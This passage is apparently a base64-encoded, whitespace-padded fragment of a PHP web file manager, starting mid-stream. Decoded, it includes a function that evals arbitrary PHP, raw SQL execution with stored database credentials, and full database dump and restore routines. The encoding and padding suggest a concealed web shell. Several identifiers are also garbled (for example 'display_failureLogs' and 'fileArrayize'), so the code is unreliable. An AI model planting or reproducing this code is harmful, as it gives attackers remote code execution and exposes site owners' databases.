SB8fCBwcmVnX21hdGNoKCRleHAsICRmaWxlbmFtZSkpKXsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICRkaXJbXSA9ICRmaWxlbmFtZTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgfQ0KCSAgICAgCSAgICAgCSAgICAgfQ0KCSAgICAgCSAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGNsb3NlZGlyKCRmaCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIG5hdHNvcnQoJGRpcik7DQoNCgkgICAgIH0NCgkgICAgIHJldHVybiAkZGlyOw0KDQp9DQoNCg0KZnVuY3Rpb24gZm1fbGluaygkZ2V0LCRsaW5rLCRuYW1lLCR0aXRsZT0nJykgew0KCSAgICAgaWYgKGVtcHR5KCR0aXRsZSkpICR0aXRsZT0kbmFtZS4nICcuYmFzZW5hbWUoJGxpbmspOw0KDQoJICAgICByZXR1cm4gJyZuYnNwOyZuYnNwOzxhIGhyZWY9Ij8nLiRnZXQuJz0nLmJhc2U2NF9lbmNvZGUoJGxpbmspLiciIHRpdGxlPSInLiR0aXRsZS4nIj4nLiRuYW1lLic8L2E%2BJzsNCg0KfQ0KDQoNCmZ1bmN0aW9uIGZtX2Fycl90b19vcHRpb24oJGFyciwkbiwkc2VsPScnKXsNCgkgICAgIGZvcmVhY2goJGFyciBhcyAkdl9jaGVja3Mpew0KDQoJICAgICAJICAgICAkYj0kdl9jaGVja3NbJG5dOw0KCSAgICAgCSAgICAgJHJlcy49JzxvcHRpb24gdmFsdWU9IicuJGIuJyIgJy4oJHNlbCAmJiAkc2VsPT0kYj8nc2VsZWN0ZWQnOicnKS4nPicuJGIuJzwvb3B0aW9uPic7DQoNCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIHJldHVybiAkcmVzOw0KDQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KZnVuY3Rpb24gZm1fbGFuZ19mb3JtICgkY3VycmVudD0nZW4nKXsNCg0KcmV0dXJuICcNCjxmb3JtIG5hbWU9ImNoYW5nZV9sYW5nIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICA8c2VsZWN0IG5hbWU9ImZtX2xhbmciIHRpdGxlPSInLl9fKCdMYW5ndWFnZScpLiciIG9uY2hhbmdlPSJkb2N1bWVudC5mb3Jtc1tcJ2NoYW5nZV9sYW5nXCddLnN1Ym1pdCgpIiA%2BDQoJICAgICAJICAgICA8b3B0aW9uIHZhbHVlPSJlbiIgJy4oJGN1cnJlbnQ9PSdlbic%2FJ3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdFbmdsaXNoJykuJzwvb3B0aW9uPg0KDQoJICAgICAJICAgICA8b3B0aW9uIHZhbHVlPSJkZSIgJy4oJGN1cnJlbnQ9PSdkZSc%2FJ3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdHZXJtYW4nKS4nPC9vcHRpb24%2BDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgPG9wdGlvbiB2YWx1ZT0icnUiICcuKCRjdXJyZW50PT0ncnUnPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic%2BJy5fXygnUnVzc2lhbicpLic8L29wdGlvbj4NCg0KCSAgICAgCSAgICAgPG9wdGlvbiB2YWx1ZT0iZnIiICcuKCRjdXJyZW50PT0nZnInPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic%2BJy5fXygnRnJlbmNoJykuJzwvb3B0aW9uPg0KCSAgICAgCSAgICAgPG9wdGlvbiB2YWx1ZT0idWsiICcuKCRjdXJyZW50PT0ndWsnPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic%2BJy5fXygnVWtyYWluaWFuJykuJzwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIDwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L2Zvcm0%2BDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KJzsNCn0NCg0KCSAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpmdW5jdGlvbiBmbV9yb290KCRkaXJuYW1lKXsNCg0KCSAgICAgcmV0dXJuICgkZGlybmFtZT09Jy4nIE9SICRkaXJuYW1lPT0nLi4nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQoNCg0KZnVuY3Rpb24gZm1fcGhwKCRzdHJpbmcpew0KDQoJICAgICAkZGlzcGxheV9mYWlsdXJlTG9ncz1pbmlfZ2V0KCdkaXNwbGF5X2ZhaWx1cmVMb2dzJyk7DQoNCgkgICAgIGluaV9zZXQoJ2Rpc3BsYXlfZmFpbHVyZUxvZ3MnLCAnMScpOw0KCSAgICAgb2Jfc3RhcnQoKTsNCg0KCSAgICAgZXZhbCh0cmltKCRzdHJpbmcpKTsNCg0KCSAgICAgJHRleHQgPSBvYl9nZXRfY29udGVudHMoKTsNCg0KCSAgICAgb2JfZW5kX2NsZWFuKCk7DQoJICAgICBpbmlfc2V0KCdkaXNwbGF5X2ZhaWx1cmVMb2dzJywgJGRpc3BsYXlfZmFpbHVyZUxvZ3MpOw0KDQoJICAgICByZXR1cm4gJHRleHQ7DQoNCn0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQovL1NIT1cgREFUQUJBU0VTDQoNCmZ1bmN0aW9uIGZtX3NxbF9jb25uZWN0KCl7DQoNCgkgICAgIGdsb2JhbCAkZm1fY29uZmlnOw0KDQoJICAgICByZXR1cm4gbmV3IG15c3FsaSgkZm1fY29uZmlnWydzcWxfc2VydmVyJ10sICRmbV9jb25maWdbJ3NxbF91c2VybmFtZSddLCAkZm1fY29uZmlnWydzcWxfcGFzc3dvcmQnXSwgJGZtX2NvbmZpZ1snc3FsX2RiJ10pOw0KfQ0KDQoNCg0KZnVuY3Rpb24gZm1fc3FsKCRxdWVyeSl7DQoNCgkgICAgIGdsb2JhbCAkZm1fY29uZmlnOw0KCSAgICAgJHF1ZXJ5PXRyaW0oJHF1ZXJ5KTsNCg0KCSAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJGNvbm5lY3Rpb24gPSBmbV9zcWxfY29ubmVjdCgpOw0KDQoJICAgICBpZiAoJGNvbm5lY3Rpb24tPmNvbm5lY3RfZXJyb3IpIHsNCg0KCSAgICAgCSAgICAgb2JfZW5kX2NsZWFuKCk7CSAgICAgDQoNCgkgICAgIAkgICAgIHJldHVybiAkY29ubmVjdGlvbi0%2BY29ubmVjdF9lcnJvcjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIH0NCgkgICAgICRjb25uZWN0aW9uLT5zZXRfY2hhcnNldCgndXRmOCcpOw0KDQogICAgJHF1ZXJpZWQgPSBteXNxbGlfcXVlcnkoJGNvbm5lY3Rpb24sJHF1ZXJ5KTsNCg0KCSAgICAgaWYgKCRxdWVyaWVkPT09ZmFsc2UpIHsNCgkgICAgIAkgICAgIG9iX2VuZF9jbGVhbigpOwkgICAgIA0KDQoJICAgICAJICAgICByZXR1cm4gbXlzcWxpX2Vycm9yKCRjb25uZWN0aW9uKTsNCg0KICAgIH0gZWxzZSB7DQoNCgkgICAgIAkgICAgIGlmKCFlbXB0eSgkcXVlcmllZCkpew0KDQoJICAgICAJICAgICAJICAgICB3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRxdWVyaWVkKSkgew0KDQoJICAgICAJICAgICAJICAgICAJICAgICAkcXVlcnlfcmVzdWx0W109ICAkcm93Ow0KCSAgICAgCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICB9DQoJICAgICAJICAgICAkdmR1bXA9ZW1wdHkoJHF1ZXJ5X3Jlc3VsdCk%2FJyc6dmFyX2V4cG9ydCgkcXVlcnlfcmVzdWx0LHRydWUpOwkgICAgIA0KCSAgICAgCSAgICAgb2JfZW5kX2NsZWFuKCk7CSAgICAgDQoJICAgICAJICAgICAkY29ubmVjdGlvbi0%2BY2xvc2UoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICByZXR1cm4gJzxwcmU%2BJy5zdHJpcHNsYXNoZXMoJHZkdW1wKS4nPC9wcmU%2BJzsNCg0KCSAgICAgfQ0KDQp9DQoNCg0KZnVuY3Rpb24gZm1fYmFja3VwX3RhYmxlcygkdGFibGVzID0gJyonLCAkZnVsbF9iYWNrdXAgPSB0cnVlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgZ2xvYmFsICRwYXRoOw0KCSAgICAgJG15c3FsZGIgPSBmbV9zcWxfY29ubmVjdCgpOw0KDQoJICAgICAkZGVsaW1pdGVyID0gIjsgXG4gIFxuIjsNCg0KCSAgICAgaWYoJHRhYmxlcyA9PSAnKicpCSAgICAgew0KCSAgICAgCSAgICAgJHRhYmxlcyA9IGFycmF5KCk7DQoNCgkgICAgIAkgICAgICRyZXN1bHQgPSAkbXlzcWxkYi0%2BcXVlcnkoJ1NIT1cgVEFCTEVTJyk7DQoNCgkgICAgIAkgICAgIHdoaWxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfcm93KCRyZXN1bHQpKQkgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgICR0YWJsZXNbXSA9ICRyb3dbMF07DQoNCgkgICAgIAkgICAgIH0NCg0KCSAgICAgfSBlbHNlIHsNCgkgICAgIAkgICAgICR0YWJsZXMgPSBpc19hcnJheSgkdGFibGVzKSA%2FICR0YWJsZXMgOiBleHBsb2RlKCcsJywkdGFibGVzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICB9DQogICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgICRyZXR1cm49Jyc7DQoNCgkgICAgIGZvcmVhY2goJHRhYmxlcyBhcyAkdGFibGUpCSAgICAgew0KCSAgICAgCSAgICAgJHJlc3VsdCA9ICRteXNxbGRiLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7DQoJICAgICAJICAgICAkbnVtX2ZpZWxkcyA9IG15c3FsaV9udW1fZmllbGRzKCRyZXN1bHQpOw0KDQoJICAgICAJICAgICAkcmV0dXJuLj0gJ0RST1AgVEFCTEUgSUYgRVhJU1RTIGAnLiR0YWJsZS4nYCcuJGRlbGltaXRlcjsNCg0KCSAgICAgCSAgICAgJHJvdzIgPSBteXNxbGlfZmV0Y2hfcm93KCRteXNxbGRiLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgJy4kdGFibGUpKTsNCgkgICAgIAkgICAgICRyZXR1cm4uPSRyb3cyWzFdLiRkZWxpbWl0ZXI7DQoNCiAgICAgICAgaWYgKCRmdWxsX2JhY2t1cCkgew0KCSAgICAgCSAgICAgZm9yICgkaSA9IDA7ICRpIDwgJG51bV9maWVsZHM7ICRpKyspICB7DQoNCgkgICAgIAkgICAgIAkgICAgIHdoaWxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfcm93KCRyZXN1bHQpKSB7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgICRyZXR1cm4uPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgIFZBTFVFUygnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGZvcigkaj0wOyAkajwkbnVtX2ZpZWxkczsgJGorKykJICAgICB7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICRyb3dbJGpdID0gYWRkc2xhc2hlcygkcm93WyRqXSk7DQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkcm93WyRqXSA9IHN0cl9yZXBsYWNlKCJcbiIsIlxcbiIsJHJvd1skal0pOw0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKGlzc2V0KCRyb3dbJGpdKSkgeyAkcmV0dXJuLj0gJyInLiRyb3dbJGpdLiciJyA7IH0gZWxzZSB7ICRyZXR1cm4uPSAnIiInOyB9DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgkajwoJG51bV9maWVsZHMtMSkpIHsgJHJldHVybi49ICcsJzsgfQ0KDQoJICAgICAJICAgICAJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgICRyZXR1cm4uPSAnKScuJGRlbGltaXRlcjsNCg0KCSAgICAgCSAgICAgCSAgICAgfQ0KCSAgICAgCSAgICAgICB9DQoNCg0KDQoNCgkgICAgIAkgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkcmV0dXJuID0gcHJlZ19yZXBsYWNlKCIjQVVUT19JTkNSRU1FTlQ9W1xkXSsgI2lzIiwgJycsICRyZXR1cm4pOw0KCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICAkcmV0dXJuLj0iXG5cblxuIjsNCg0KCSAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgLy9zYXZlIGZpbGUNCiAgICAkZmlsZV9nZXQ9Z21kYXRlKCJZLW0tZF9ILWktcyIsdGltZSgpKS4nLnNxbCc7DQoNCgkgICAgICRoYW5kbGUgPSBmb3BlbigkZmlsZV9nZXQsJ3crJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGZ3cml0ZSgkaGFuZGxlLCRyZXR1cm4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGZjbG9zZSgkaGFuZGxlKTsNCg0KCSAgICAgJGFsZXJ0ID0gJ29uQ2xpY2s9ImlmKGNvbmZpcm0oXCcnLiBfXygnRmlsZSBzZWxlY3RlZCcpLic6IFxuJy4gJGZpbGVfZ2V0LiAnLiBcbicuX18oJ0FyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBmaWxlPycpIC4gJ1wnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnP2RlbGV0ZT0nIC4gJGZpbGVfZ2V0IC4gJyZwYXRoPScgLiAkcGF0aCAgLiAnXCciJzsNCg0KICAgIHJldHVybiAkZmlsZV9nZXQuJzogJy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGZpbGVfZ2V0LF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4kZmlsZV9nZXQpLicgPGEgaHJlZj0iIyIgdGl0bGU9IicgLiBfXygnRGVsZXRlJykgLiAnICcuICRmaWxlX2dldCAuICciICcgLiAkYWxlcnQgLiAnPicgLiBfXygnRGVsZXRlJykgLiAnPC9hPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCn0NCg0KDQpmdW5jdGlvbiBmbV9yZXN0b3JlX3RhYmxlcygkc3FsRmlsZVRvRXhlY3V0ZSkgew0KDQoJICAgICAkbXlzcWxkYiA9IGZtX3NxbF9jb25uZWN0KCk7DQoNCgkgICAgICRkZWxpbWl0ZXIgPSAiOyBcbiAgXG4iOw0KDQogICAgLy8gTG9hZCBhbmQgZXhwbG9kZSB0aGUgc3FsIGZpbGUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgJGYgPSBmb3Blbigkc3FsRmlsZVRvRXhlY3V0ZSwicisiKTsNCiAgICAkc3FsRmlsZSA9IGZyZWFkKCRmLGZpbGVBcnJheWl6ZSgkc3FsRmlsZVRvRXhlY3V0ZSkpOw0KDQogICAgJHNxbEFycmF5ID0gZXhwbG9kZSgkZGVsaW1pdGVyLCRzcWxGaWxlKTsNCg0KCSAgICAgDQogICAgLy9Qcm9jZXNzIHRoZSBzcWwgZmlsZSBieSBzdGF0ZW1lbnRzDQoNCiAgICBmb3JlYWNoICgkc3FsQXJyYXkgYXMgJHN0bXQpIHsNCg0KICAgICAgICBpZiAoc3RybGVuKCRzdG10KT4zKXsNCg0KCSAgICAgCSAgICAgCSAgICAgJHJlc3VsdCA9ICRteXNxbGRiLT5xdWVyeSgkc3RtdCk7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICghJHJlc3VsdCl7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICRzcWxFcnJvckNvZGUgPSBteXNxbGlfZXJybm8oJG15c3FsZGItPmNvbm5lY3Rpb24pOw0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHNxbEVycm9yVGV4dCA9IG15c3FsaV9lcnJvcigkbXlzcWxkYi0%2BY29ubmVjdGlvbik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHNxbFN0bXQgICAgICA9ICRzdG10Ow0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgYnJlYWs7DQogICAgICAgICAgIAkgICAgICAgICAgfQ0KICAgICAgICAgICAJICAgICAgIH0NCg0KICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQppZiAoZW1wdHkoJHNxbEVycm9yQ29kZSkpIHJldHVybiBfXygnU3VjY2VzcycpLicg77%2B977%2B9ICcuJHNxbEZpbGVUb0V4ZWN1dGU7DQoNCmVsc2UgcmV0dXJuICRzcWxFcnJvclRleHQuJzxici8%2BJy4kc3RtdDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCmZ1bmN0aW9uIGZtX2ltZ19saW5rKCRmaWxlbmFtZSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICByZXR1cm4gJy4vJy5iYXNlbmFtZShfX0ZJTEVfXykuJz9pbWc9Jy5iYXNlNjRfZW5jb2RlKCRmaWxlbmFtZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQpmdW5jdGlvbiBmbV9ob21lX3N0eWxlKCl7DQoNCgkgICAgIHJldHVybiAnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmlucHV0LCBpbnB1dC5mbV9pbnB1dCB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIHRleHQtaW5kZW50OiAycHg7DQoNCn0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQoNCmlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0LCBpbnB1dC5mbV9pbnB1dCB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGNvbG9yOiBibGFjazsNCg0KCSAgICAgZm9udDogbm9ybWFsIDhwdCBWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOw0KCSAgICAgYm9yZGVyLWNvbG9yOiBibGFjazsNCgkgICAgIGJhY2tncm91bmQtY29sb3I6ICNGQ0ZDRkMgbm9uZSAhaW1wb3J0YW50Ow0KCSAgICAgYm9yZGVyLXJhZGl1czogMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgcGFkZGluZzogMnB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KaW5wdXQuZm1faW5wdXQgew0KDQoJICAgICBiYWNrZ3JvdW5kOiAjRkNGQ0ZDIG5vbmUgIWltcG9ydGFudDsNCg0KCSAgICAgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQoNCg0KLmhvbWUgew0KDQoJICAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBTUFBQUFvTFE5VEFBQUFCR2RCVFVFQUFLL0lOd1dLNlFBQUFnUlFURlJGL2YzOTZPa